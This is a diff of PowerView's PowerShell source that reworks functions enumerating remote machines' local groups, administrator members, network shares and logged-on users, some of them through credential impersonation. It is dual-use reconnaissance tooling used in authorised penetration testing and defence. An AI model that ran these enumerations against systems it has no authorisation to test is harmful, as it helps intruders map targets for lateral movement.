+ [ValidateSet('API', 'WinNT')]
+ [Alias('CollectionMethod')]
+ [String]
+ $Method = 'API',
- .LINK
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
- http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
-#>
+ BEGIN {
+ if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) {
+ Write-Warning "[Get-NetLocalGroup] -Credential is only compatible with '-Method WinNT'"
+ }
+ }
- [CmdletBinding(DefaultParameterSetName = 'WinNT')]
- param(
- [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
- [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
- [Alias('HostName')]
- [String[]]
- $ComputerName = $Env:ComputerName,
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ if ($Method -eq 'API') {
+ # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
- [Parameter(ParameterSetName = 'WinNT')]
- [Parameter(ParameterSetName = 'API')]
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
- [String]
- $ComputerFile,
+ # arguments for NetLocalGroupEnum
+ $QueryLevel = 1
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
- [Parameter(ParameterSetName = 'WinNT')]
- [Parameter(ParameterSetName = 'API')]
- [String]
- $GroupName = 'Administrators',
+ # get the local user information
+ $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
- [Parameter(ParameterSetName = 'WinNT')]
- [Switch]
- $ListGroups,
+ # locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
- [Parameter(ParameterSetName = 'WinNT')]
- [Switch]
- $Recurse,
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
- [Parameter(ParameterSetName = 'API')]
- [Switch]
- $API
- )
+ # Work out how much to increment the pointer by finding out the size of the structure
+ $Increment = $LOCALGROUP_INFO_1::GetSize()
- process {
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $LOCALGROUP_INFO_1
- $Servers = @()
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
- # if we have a host list passed, grab it
- if($ComputerFile) {
- $Servers = Get-Content -Path $ComputerFile
- }
- else {
- # otherwise assume a single host name
- $Servers += $ComputerName | Get-NameField
+ $LocalGroup = New-Object PSObject
+ $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer
+ $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name
+ $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment
+ $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API')
+ $LocalGroup
+ }
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+ }
+ else {
+ # otherwise we're using the WinNT service provider
+ if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
+ $ComputerProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer,computer", $Credential.UserName, $Credential.GetNetworkCredential().Password)
+ }
+ else {
+ $ComputerProvider = [ADSI]"WinNT://$Computer,computer"
+ }
+
+ $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
+ $LocalGroup = ([ADSI]$_)
+ $Group = New-Object PSObject
+ $Group | Add-Member Noteproperty 'ComputerName' $Computer
+ $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name'))
+ $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value)
+ $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description'))
+ $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT')
+ $Group
+ }
+ }
}
+ }
+}
+
+
+function Get-NetLocalGroupMember {
+<#
+.SYNOPSIS
+
+Enumerates members of a specific local group on the local (or remote) machine.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect, Convert-ADName
+
+.DESCRIPTION
+
+This function will enumerate the members of a specified local group on the
+current, or remote, machine. By default, the Win32 API call NetLocalGroupGetMembers
+will be used (for speed). Specifying "-Method WinNT" causes the WinNT service provider
+to be used instead, which returns a larger amount of information.
+
+.PARAMETER ComputerName
+
+Specifies the hostname to query for sessions (also accepts IP addresses).
+Defaults to the localhost.
+
+.PARAMETER GroupName
+
+The local group name to query for users. If not given, it defaults to "Administrators".
+
+.PARAMETER Method
+
+The collection method to use, defaults to 'API', also accepts 'WinNT'.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to a remote machine. Only applicable with "-Method WinNT".
+
+.EXAMPLE
+
+Get-NetLocalGroupMember | ft
+
+ComputerName GroupName MemberName SID IsGroup IsDomain
+------------ --------- ---------- --- ------- --------
+WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
+WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
+WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
+WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
+
+.EXAMPLE
+
+Get-NetLocalGroupMember -Method winnt | ft
+
+ComputerName GroupName MemberName SID IsGroup IsDomain
+------------ --------- ---------- --- ------- --------
+WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
+WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
+WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
+WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
+
+.EXAMPLE
+
+Get-NetLocalGroup | Get-NetLocalGroupMember | ft
+
+ComputerName GroupName MemberName SID IsGroup IsDomain
+------------ --------- ---------- --- ------- --------
+WINDOWS1 Administrators WINDOWS1\Ad... S-1-5-21-25... False False
+WINDOWS1 Administrators WINDOWS1\lo... S-1-5-21-25... False False
+WINDOWS1 Administrators TESTLAB\Dom... S-1-5-21-89... True True
+WINDOWS1 Administrators TESTLAB\har... S-1-5-21-89... False True
+WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... False False
+WINDOWS1 IIS_IUSRS NT AUTHORIT... S-1-5-17 False False
+WINDOWS1 Users NT AUTHORIT... S-1-5-4 False False
+WINDOWS1 Users NT AUTHORIT... S-1-5-11 False False
+WINDOWS1 Users WINDOWS1\lo... S-1-5-21-25... False UNKNOWN
+WINDOWS1 Users TESTLAB\Dom... S-1-5-21-89... True UNKNOWN
+
+.EXAMPLE
+
+Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft
+
+ComputerName GroupName MemberName SID IsGroup IsDomain
+------------ --------- ---------- --- ------- --------
+primary.tes... Administrators TESTLAB\Adm... S-1-5-21-89... False False
+primary.tes... Administrators TESTLAB\loc... S-1-5-21-89... False False
+primary.tes... Administrators TESTLAB\Ent... S-1-5-21-89... True False
+primary.tes... Administrators TESTLAB\Dom... S-1-5-21-89... True False
+
+.OUTPUTS
+
+PowerView.LocalGroupMember.API
+
+Custom PSObject with translated group property fields from API results.
+
+PowerView.LocalGroupMember.WinNT
+
+Custom PSObject with translated group property fields from WinNT results.
+
+.LINK
- # query the specified group using the WINNT provider, and
- # extract fields as appropriate from the results
- ForEach($Server in $Servers) {
+http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
+http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
+https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.LocalGroupMember.API')]
+ [OutputType('PowerView.LocalGroupMember.WinNT')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName = $Env:COMPUTERNAME,
- if($API) {
+ [Parameter(ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $GroupName = 'Administrators',
+
+ [ValidateSet('API', 'WinNT')]
+ [Alias('CollectionMethod')]
+ [String]
+ $Method = 'API',
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ if ($PSBoundParameters['Credential'] -and ($Method -eq 'WinNT')) {
+ Write-Warning "[Get-NetLocalGroupMember] -Credential is only compatible with '-Method WinNT'"
+ }
+ }
+
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ if ($Method -eq 'API') {
# if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
+
# arguments for NetLocalGroupGetMembers
$QueryLevel = 2
$PtrInfo = [IntPtr]::Zero
@@ -7748,12 +12372,12 @@ function Get-NetLocalGroup {
$ResumeHandle = 0
# get the local user information
- $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+ $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
- # Locate the offset of the initial intPtr
+ # locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
- $LocalUsers = @()
+ $Members = @()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
@@ -7770,23 +12394,22 @@ function Get-NetLocalGroup {
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
- $SidString = ""
+ $SidString = ''
$Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
- if($Result2 -eq 0) {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ if ($Result2 -eq 0) {
+ Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
- $LocalUser = New-Object PSObject
- $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
- $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
- $LocalUser | Add-Member Noteproperty 'SID' $SidString
-
+ $Member = New-Object PSObject
+ $Member | Add-Member Noteproperty 'ComputerName' $Computer
+ $Member | Add-Member Noteproperty 'GroupName' $GroupName
+ $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname
+ $Member | Add-Member Noteproperty 'SID' $SidString
$IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
- $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
- $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')
-
- $LocalUsers += $LocalUser
+ $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API')
+ $Members += $Member
}
}
@@ -7794,1450 +12417,1905 @@ function Get-NetLocalGroup {
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
# try to extract out the machine SID by using the -500 account as a reference
- $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
- $Parts = $MachineSid.SID.Split('-')
- $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
+ $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID
+ if ($MachineSid) {
+ $MachineSid = $MachineSid.Substring(0, $MachineSid.LastIndexOf('-'))
- $LocalUsers | ForEach-Object {
- if($_.SID -match $MachineSid) {
- $_ | Add-Member Noteproperty 'IsDomain' $False
+ $Members | ForEach-Object {
+ if ($_.SID -match $MachineSid) {
+ $_ | Add-Member Noteproperty 'IsDomain' $False
+ }
+ else {
+ $_ | Add-Member Noteproperty 'IsDomain' $True
+ }
}
- else {
- $_ | Add-Member Noteproperty 'IsDomain' $True
+ }
+ else {
+ $Members | ForEach-Object {
+ if ($_.SID -notmatch 'S-1-5-21') {
+ $_ | Add-Member Noteproperty 'IsDomain' $False
+ }
+ else {
+ $_ | Add-Member Noteproperty 'IsDomain' 'UNKNOWN'
+ }
}
}
- $LocalUsers
+ $Members
}
else {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
-
else {
# otherwise we're using the WinNT service provider
try {
- if($ListGroups) {
- # if we're listing the group names on a remote server
- $Computer = [ADSI]"WinNT://$Server,computer"
-
- $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
- $Group = New-Object PSObject
- $Group | Add-Member Noteproperty 'Server' $Server
- $Group | Add-Member Noteproperty 'Group' ($_.name[0])
- $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
- $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
- $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
- $Group
- }
+ if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
+ $GroupProvider = New-Object DirectoryServices.DirectoryEntry("WinNT://$Computer/$GroupName,group", $Credential.UserName, $Credential.GetNetworkCredential().Password)
}
else {
- # otherwise we're listing the group members
- $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
-
- $Members | ForEach-Object {
-
- $Member = New-Object PSObject
- $Member | Add-Member Noteproperty 'ComputerName' $Server
-
- $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
- $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null)
-
- # try to translate the NT4 domain to a FQDN if possible
- $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
- $IsGroup = $Class -eq "Group"
+ $GroupProvider = [ADSI]"WinNT://$Computer/$GroupName,group"
+ }
- if($Name) {
- $FQDN = $Name.split("/")[0]
- $ObjName = $AdsPath.split("/")[-1]
- $Name = "$FQDN/$ObjName"
- $IsDomain = $True
- }
- else {
- $ObjName = $AdsPath.split("/")[-1]
- $Name = $AdsPath
- $IsDomain = $False
- }
+ $GroupProvider.psbase.Invoke('Members') | ForEach-Object {
- $Member | Add-Member Noteproperty 'AccountName' $Name
- $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
- $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $Member = New-Object PSObject
+ $Member | Add-Member Noteproperty 'ComputerName' $Computer
+ $Member | Add-Member Noteproperty 'GroupName' $GroupName
- if($IsDomain) {
- # translate the binary sid to a string
- $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
- $Member | Add-Member Noteproperty 'Description' ""
- $Member | Add-Member Noteproperty 'Disabled' ""
+ $LocalUser = ([ADSI]$_)
+ $AdsPath = $LocalUser.InvokeGet('AdsPath').Replace('WinNT://', '')
+ $IsGroup = ($LocalUser.SchemaClassName -like 'group')
- if($IsGroup) {
- $Member | Add-Member Noteproperty 'LastLogin' ""
- }
- else {
- try {
- $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
- }
- catch {
- $Member | Add-Member Noteproperty 'LastLogin' ""
- }
- }
- $Member | Add-Member Noteproperty 'PwdLastSet' ""
- $Member | Add-Member Noteproperty 'PwdExpired' ""
- $Member | Add-Member Noteproperty 'UserFlags' ""
- }
- else {
- # repull this user object so we can ensure correct information
- $LocalUser = $([ADSI] "WinNT://$AdsPath")
-
- # translate the binary sid to a string
- $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
- $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
-
- if($IsGroup) {
- $Member | Add-Member Noteproperty 'PwdLastSet' ""
- $Member | Add-Member Noteproperty 'PwdExpired' ""
- $Member | Add-Member Noteproperty 'UserFlags' ""
- $Member | Add-Member Noteproperty 'Disabled' ""
- $Member | Add-Member Noteproperty 'LastLogin' ""
- }
- else {
- $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
- $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
- $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
- # UAC flags of 0x2 mean the account is disabled
- $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
- try {
- $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
- }
- catch {
- $Member | Add-Member Noteproperty 'LastLogin' ""
- }
- }
- }
- $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
- $Member
-
- # if the result is a group domain object and we're recursing,
- # try to resolve all the group member results
- if($Recurse -and $IsGroup) {
- if($IsDomain) {
- $FQDN = $Name.split("/")[0]
- $GroupName = $Name.split("/")[1].trim()
-
- Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
-
- $Member = New-Object PSObject
- $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
-
- $MemberDN = $_.distinguishedName
- # extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
-
- $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
-
- if ($_.samAccountName) {
- # forest users have the samAccountName set
- $MemberName = $_.samAccountName
- }
- else {
- try {
- # external trust users have a SID, so convert it
- try {
- $MemberName = Convert-SidToName $_.cn
- }
- catch {
- # if there's a problem contacting the domain to resolve the SID
- $MemberName = $_.cn
- }
- }
- catch {
- Write-Debug "Error resolving SID : $_"
- }
- }
-
- $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
- $Member | Add-Member Noteproperty 'SID' $_.objectsid
- $Member | Add-Member Noteproperty 'Description' $_.description
- $Member | Add-Member Noteproperty 'Disabled' $False
- $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
- $Member | Add-Member Noteproperty 'IsDomain' $True
- $Member | Add-Member Noteproperty 'LastLogin' ''
- $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
- $Member | Add-Member Noteproperty 'PwdExpired' ''
- $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
- $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
- $Member
- }
- } else {
- Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse
- }
- }
+ if(([regex]::Matches($AdsPath, '/')).count -eq 1) {
+ # DOMAIN\user
+ $MemberIsDomain = $True
+ $Name = $AdsPath.Replace('/', '\')
+ }
+ else {
+ # DOMAIN\machine\user
+ $MemberIsDomain = $False
+ $Name = $AdsPath.Substring($AdsPath.IndexOf('/')+1).Replace('/', '\')
}
+
+ $Member | Add-Member Noteproperty 'AccountName' $Name
+ $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
+ $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $Member | Add-Member Noteproperty 'IsDomain' $MemberIsDomain
+
+ # if ($MemberIsDomain) {
+ # # translate the binary sid to a string
+ # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
+ # $Member | Add-Member Noteproperty 'Description' ''
+ # $Member | Add-Member Noteproperty 'Disabled' ''
+
+ # if ($IsGroup) {
+ # $Member | Add-Member Noteproperty 'LastLogin' ''
+ # }
+ # else {
+ # try {
+ # $Member | Add-Member Noteproperty 'LastLogin' $LocalUser.InvokeGet('LastLogin')
+ # }
+ # catch {
+ # $Member | Add-Member Noteproperty 'LastLogin' ''
+ # }
+ # }
+ # $Member | Add-Member Noteproperty 'PwdLastSet' ''
+ # $Member | Add-Member Noteproperty 'PwdExpired' ''
+ # $Member | Add-Member Noteproperty 'UserFlags' ''
+ # }
+ # else {
+ # # translate the binary sid to a string
+ # $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.InvokeGet('ObjectSID'),0)).Value)
+ # $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description)
+
+ # if ($IsGroup) {
+ # $Member | Add-Member Noteproperty 'PwdLastSet' ''
+ # $Member | Add-Member Noteproperty 'PwdExpired' ''
+ # $Member | Add-Member Noteproperty 'UserFlags' ''
+ # $Member | Add-Member Noteproperty 'Disabled' ''
+ # $Member | Add-Member Noteproperty 'LastLogin' ''
+ # }
+ # else {
+ # $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
+ # $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
+ # $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
+ # # UAC flags of 0x2 mean the account is disabled
+ # $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.UserFlags.value -band 2) -eq 2)
+ # try {
+ # $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
+ # }
+ # catch {
+ # $Member | Add-Member Noteproperty 'LastLogin' ''
+ # }
+ # }
+ # }
+
+ $Member
}
}
catch {
- Write-Warning "[!] Error: $_"
+ Write-Verbose "[Get-NetLocalGroupMember] Error for $Computer : $_"
}
}
}
}
}
-filter Get-NetShare {
+
+function Get-NetShare {
<#
- .SYNOPSIS
+.SYNOPSIS
- This function will execute the NetShareEnum Win32API call to query
- a given host for open shares. This is a replacement for
- "net share \\hostname"
+Returns open shares on the local (or a remote) machine.
- .PARAMETER ComputerName
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
- The hostname to query for shares. Also accepts IP addresses.
+.DESCRIPTION
- .OUTPUTS
+This function will execute the NetShareEnum Win32API call to query
+a given host for open shares. This is a replacement for "net share \\hostname".
- SHARE_INFO_1 structure. A representation of the SHARE_INFO_1
- result structure which includes the name and note for each share,
- with the ComputerName added.
+.PARAMETER ComputerName
- .EXAMPLE
+Specifies the hostname to query for shares (also accepts IP addresses).
+Defaults to 'localhost'.
- PS C:\> Get-NetShare
+.PARAMETER Credential
- Returns active shares on the local host.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system using Invoke-UserImpersonation.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetShare -ComputerName sqlserver
+Get-NetShare
- Returns active shares on the 'sqlserver' host
+Returns active shares on the local host.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetComputer | Get-NetShare
+Get-NetShare -ComputerName sqlserver
- Returns all shares for all computers in the domain.
+Returns active shares on the 'sqlserver' host
- .LINK
+.EXAMPLE
- http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
-#>
+Get-DomainComputer | Get-NetShare
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
- [ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost'
- )
+Returns all shares for all computers in the domain.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-NetShare -ComputerName sqlserver -Credential $Cred
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+.OUTPUTS
- # arguments for NetShareEnum
- $QueryLevel = 1
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+PowerView.ShareInfo
- # get the share information
- $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+A PSCustomObject representing a SHARE_INFO_1 structure, including
+the name/type/remark for each share, with the ComputerName added.
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+.LINK
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+#>
- # Work out how much to increment the pointer by finding out the size of the structure
- $Increment = $SHARE_INFO_1::GetSize()
+ [OutputType('PowerView.ShareInfo')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName = 'localhost',
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $SHARE_INFO_1
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- # return all the sections of the structure
- $Shares = $Info | Select-Object *
- $Shares | Add-Member Noteproperty 'ComputerName' $Computer
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
- $Shares
+ BEGIN {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
}
+ }
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # arguments for NetShareEnum
+ $QueryLevel = 1
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
+
+ # get the raw share information
+ $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+
+ # locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # work out how much to increment the pointer by finding out the size of the structure
+ $Increment = $SHARE_INFO_1::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $SHARE_INFO_1
+
+ # return all the sections of the structure - have to do it this way for V2
+ $Share = $Info | Select-Object *
+ $Share | Add-Member Noteproperty 'ComputerName' $Computer
+ $Share.PSObject.TypeNames.Insert(0, 'PowerView.ShareInfo')
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $Share
+ }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "[Get-NetShare] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+ }
}
- else {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
}
}
-filter Get-NetLoggedon {
+function Get-NetLoggedon {
<#
- .SYNOPSIS
+.SYNOPSIS
- This function will execute the NetWkstaUserEnum Win32API call to query
- a given host for actively logged on users.
+Returns users logged on the local (or a remote) machine.
+Note: administrative rights needed for newer Windows OSes.
- .PARAMETER ComputerName
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
- The hostname to query for logged on users.
+.DESCRIPTION
- .OUTPUTS
+This function will execute the NetWkstaUserEnum Win32API call to query
+a given host for actively logged on users.
- WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1
- result structure which includes the username and domain of logged on users,
- with the ComputerName added.
+.PARAMETER ComputerName
- .EXAMPLE
+Specifies the hostname to query for logged on users (also accepts IP addresses).
+Defaults to 'localhost'.
- PS C:\> Get-NetLoggedon
+.PARAMETER Credential
- Returns users actively logged onto the local host.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system using Invoke-UserImpersonation.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetLoggedon -ComputerName sqlserver
+Get-NetLoggedon
- Returns users actively logged onto the 'sqlserver' host.
+Returns users actively logged onto the local host.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetComputer | Get-NetLoggedon
+Get-NetLoggedon -ComputerName sqlserver
- Returns all logged on userse for all computers in the domain.
